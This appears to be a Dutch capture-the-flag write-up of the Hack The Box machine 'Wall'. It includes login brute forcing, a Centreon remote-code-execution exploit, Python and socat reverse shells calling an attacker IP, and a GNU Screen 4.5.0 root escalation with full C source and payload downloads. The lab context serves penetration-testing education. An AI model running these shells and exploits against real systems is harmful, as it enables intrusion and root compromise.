HTB-WALL-NL

Zoals gewoonlijk starten we met een nmap scan

root@kali:~/htb/wall# nmap -sC -sV -oA htb-wall-scan 10.10.10.157
Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-18 15:28 EST
Nmap scan report for 10.10.10.157
Host is up (0.053s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
| 2048 2e:93:41:04:23:ed:30:50:8d:0d:58:23:de:7f:2c:15 (RSA)
| 256 4f:d5:d3:29:40:52:9e:62:58:36:11:06:72:85:1b:df (ECDSA)
|_ 256 21:64:d0:c0:ff:1a:b4:29:0b:49:e1:11:81:b6:73:66 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.64 seconds

Laten we eens kijken wat er wordt gehost.

We zien een standaard apache2 installatie. Dus we voegen het toe aan onze hostfile als wall.htb en sturen het naar gobuster .

root@kali:~/htb/wall# gobuster dir -u http://wall.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 40
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://wall.htb
[+] Threads: 40
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2019/12/18 15:30:54 Starting gobuster
===============================================================
/monitoring (Status: 401)
/server-status (Status: 403)
===============================================================
2019/12/18 15:34:15 Finished
===============================================================

 

We krijgen slechts twee standaardresultaten terug

Aangezien ik de parameter -x bij de eerste scan heb opgegeven, moeten we deze opnieuw uitvoeren voor bestandsextensies. We zien dat er een paar zijn met de .php-extensie.

Er zijn enkele interessante bestanden en mappen na opsomming. Er is niet veel dat we kunnen doen met de twee nieuwe php bestanden. Wanneer we Burpsuit openen en de site beginnen te porren met Burpsuit en POST aanvragen, zien we dat als we een POST aanvraag sturen naar /monitoring/ we worden doorgestuurd naar /centreon .

Het kan ook met curl

c:\PENTEST>curl -d 'data=data' -X POST http://10.10.10.157/monitoring
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>301 Moved Permanently</title>
</head><body>
<h1>Moved Permanently</h1>
<p>The document has moved <a href="http://10.10.10.157/monitoring/">here</a>.</p>
<hr>
<address>Apache/2.4.29 (Ubuntu) Server at 10.10.10.157 Port 80</address>
</body></html>

c:\PENTEST>curl -d 'data=data' -X POST http://10.10.10.157/monitoring/
<h1>This page is not ready yet !</h1>
<h2>We should redirect you to the required page !</h2>

<meta http-equiv="refresh" content="0; URL='/centreon'" />

We gaan naar het adres en krijgen een inlogformulier. We zien dat de versie die wordt uitgevoerd 19.04 is. Een snelle searchsploit op Centreon laat ons zien dat er een RCE is voor deze specifieke versie.

We kunnen deze exploit naar onze huidige werkmap kopiëren met de opdracht -m van searchsploit .

searchsploit centreon -m 47069 .

Wanneer we de exploit uitvoeren, zien we onze opties:

In dit geval moeten we gebruikersreferenties verkrijgen om de exploit uit te voeren. Nu kun je deze login bruut forceren met bijvoorbeeld wfuzz 

root@kali:~/htb/wall# wfuzz -c -X POST -d "username=admin&password=FUZZ" -w ./darkweb2017-top1000.txt --hc=403 http://wall.htb/centreon/api/index.php?action=authenticate

Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 2.4 - The Web Fuzzer *
********************************************************

Target: http://wall.htb/centreon/api/index.php?action=authenticate
Total requests: 999

===================================================================
ID Response Lines Word Chars Payload 
===================================================================

000000008: 200 0 L 1 W 61 Ch "password1"

Total time: 7.880659
Processed Requests: 999
Filtered Requests: 998
Requests/sec.: 126.7660

root@kali:~/htb/wall#

We hebben nu dus de inlognaam en paswoord , en geven we in onze exploit onze referenties en IP en poort op. Start een nieuwe NC-luisteraar en vuur hem af … Niets. Hmmm, dus we zullen de exploit aanpassen om ons te laten zien wat er aan de hand is. We wijzigen het naar 

https://github.com/puckiestyle/python/blob/master/htb-wall-rce.py

root@kali:~/htb/wall# cat test.py
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.70",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
root@kali:~/htb/wall# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.157 - - [18/Dec/2019 15:58:43] "GET /test.py HTTP/1.1" 200 -

.

root@kali:~/htb/wall# python htb-wall-rce.py http://10.10.10.157/centreon admin password1 10.10.16.70 1234
[+] Retrieving CSRF token to submit the login form
htb-wall-rce.py:37: UserWarning: No parser was explicitly specified, so I'm using the best available HTML parser for this system ("lxml"). This usually isn't a problem, but if you run this code on another system, or in a different virtual environment, it may use a different parser and behave differently.

The code that caused this warning is on line 37 of the file htb-wall-rce.py. To get rid of this warning, pass the additional argument 'features="lxml"' to the BeautifulSoup constructor.

  soup = BeautifulSoup(html_content)
[+] Login token is : 88f924d28ec1cffd048157c72ced69b3
[+] Logged In Sucssfully
[+] Retrieving Poller token
htb-wall-rce.py:55: UserWarning: No parser was explicitly specified, so I'm using the best available HTML parser for this system ("lxml"). This usually isn't a problem, but if you run this code on another system, or in a different virtual environment, it may use a different parser and behave differently.

The code that caused this warning is on line 55 of the file htb-wall-rce.py. To get rid of this warning, pass the additional argument 'features="lxml"' to the BeautifulSoup constructor.

  poller_soup = BeautifulSoup(poller_html)
[+] Poller token is : 1fad90e9ac5a0d8d99c3ce86ad114644
[+] Injecting Done, triggering the payload
[+] Check you netcat listener !

.

root@kali:~/htb/wall# rlwrap nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.70] from (UNKNOWN) [10.10.10.157] 36656
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data

Hieronder de handmatige manier : Command Injection [Centreon]

We zijn met succes ingelogd met admin / password1 ,en zien  de centreon-applicatie-interface. Het eerste waar ik naar keek, was dat we elke opdrachtinjectie in de toepassing kunnen uitvoeren om een omgekeerde shell te krijgen.

Na een paar seconden vond ik een sectie bij Configuraties -> Opdrachten -> Diversen waar ik een opdracht kan toevoegen.

Vervolgens klikte ik op de weergegeven knop Toevoegen, ik voorzag in een sectie om mijn opdracht uit te voeren. Dus zodra ik mijn terminal had opgestart en mijn Socat-luisteraar had ingesteld

SOCAT [Reverse shell]

root@ghost:~# socat file:`tty`,raw,echo=0 TCP-L:4567

                

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.X.X:4567

In de opdrachtnaam schrijf je alles wat je wilt en in de opdrachtsectie heb ik de bovenstaande cmd gebruikt en op de daar geleverde afspeelknop gedrukt om mijn cmd te activeren, zoals hieronder weergegeven.

Zodra ik op de afspeelknop drukte, kreeg ik een reverse shell-verbinding in mijn luisteraar als www-data [Low priviledge shell].

We krijgen een shell terug als www-data ! Nu we aan de machine zijn, kunnen we beginnen met opsommen. We downloaden linenum en kijken waar het mee komt. Een opvallend item is screen-4.5.0 in onze SUID-sectie.

Een snelle searchsploit voor scherm komt terug met twee mogelijke Lokale Privilege-escalaties.

root@kali:~/htb/wall# searchsploit screen | grep 4.5.0
GNU Screen 4.5.0 - Local Privilege Escala | exploits/linux/local/41152.txt
GNU Screen 4.5.0 - Local Privilege Escala | exploits/linux/local/41154.sh

Het exploit-script werkte niet correct, dus compileerde ik de binaire bestanden op mijn kali doos:
libhax.c:

#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}

rootshell.c:

#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}
root@kali:~/htb/wall# gcc -fPIC -shared -ldl -o rootshell rootshell.c
rootshell.c: In function ‘main’:
rootshell.c:3:5: warning: implicit declaration of function ‘setuid’ [-Wimplicit-function-declaration]
    3 |     setuid(0);
      |     ^~~~~~
rootshell.c:4:5: warning: implicit declaration of function ‘setgid’ [-Wimplicit-function-declaration]
    4 |     setgid(0);
      |     ^~~~~~
rootshell.c:5:5: warning: implicit declaration of function ‘seteuid’ [-Wimplicit-function-declaration]
    5 |     seteuid(0);
      |     ^~~~~~~
rootshell.c:6:5: warning: implicit declaration of function ‘setegid’ [-Wimplicit-function-declaration]
    6 |     setegid(0);
      |     ^~~~~~~
rootshell.c:7:5: warning: implicit declaration of function ‘execvp’ [-Wimplicit-function-declaration]
    7 |     execvp("/bin/sh", NULL, NULL);
      |     ^~~~~~
rootshell.c:7:5: warning: too many arguments to built-in function ‘execvp’ expecting 2 [-Wbuiltin-declaration-mismatch]


root@kali:~/htb/wall# gcc -o rootshell rootshell.c
rootshell.c: In function ‘main’:
rootshell.c:3:5: warning: implicit declaration of function ‘setuid’ [-Wimplicit-function-declaration]
    3 |     setuid(0);
      |     ^~~~~~
rootshell.c:4:5: warning: implicit declaration of function ‘setgid’ [-Wimplicit-function-declaration]
    4 |     setgid(0);
      |     ^~~~~~
rootshell.c:5:5: warning: implicit declaration of function ‘seteuid’ [-Wimplicit-function-declaration]
    5 |     seteuid(0);
      |     ^~~~~~~
rootshell.c:6:5: warning: implicit declaration of function ‘setegid’ [-Wimplicit-function-declaration]
    6 |     setegid(0);
      |     ^~~~~~~
rootshell.c:7:5: warning: implicit declaration of function ‘execvp’ [-Wimplicit-function-declaration]
    7 |     execvp("/bin/sh", NULL, NULL);
      |     ^~~~~~
rootshell.c:7:5: warning: too many arguments to built-in function ‘execvp’ expecting 2 [-Wbuiltin-declaration-mismatch]

Vervolgens uploadde ik ze naar de box en deed de rest van de exploit:

www-data@Wall:/home/shelby$ cd /tmp/
www-data@Wall:/tmp$ wget http://10.10.xx.xx/libhax.so
--2019-12-19 01:18:36--  http://10.10.xx.xx/libhax.so
Connecting to 10.10.xx.xx:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 16144 (16K) [application/octet-stream]
Saving to: 'libhax.so'

libhax.so           100%[===================>]  15.77K  11.7KB/s    in 1.3s    


www-data@Wall:/tmp$ wget http://10.10.xx.xx/rootshell
--2019-12-19 01:19:05--  http://10.10.xx.xx/rootshell
Connecting to 10.10.xx.xx:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 16832 (16K) [application/octet-stream]
Saving to: 'rootshell'

rootshell           100%[===================>]  16.44K  16.3KB/s    in 1.0s    


$ whoami
www-data
$ cd /etc
cd /etc
$ umask 000
umask 000
$ /bin/screen-4.5.0 -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"
/bin/screen-4.5.0 -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"
$ /bin/screen-4.5.0 -ls
/bin/screen-4.5.0 -ls
' from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored.
[+] done!
No Sockets found in /tmp/screens/S-www-data.

$ /tmp/rootshell
/tmp/rootshell
# whoami
whoami
root
# cd /root
cd /root
# ls
ls
centreon-broker centreon-clib centreon-engine centreon-web-19.04.2 root.txt
cat root.txt
1fdbcf8c33eaa2599afdc52e1b4d5db7
#

Auteur : Jacco Straathof

 

Posted on

Leave a Reply

Your email address will not be published. Required fields are marked *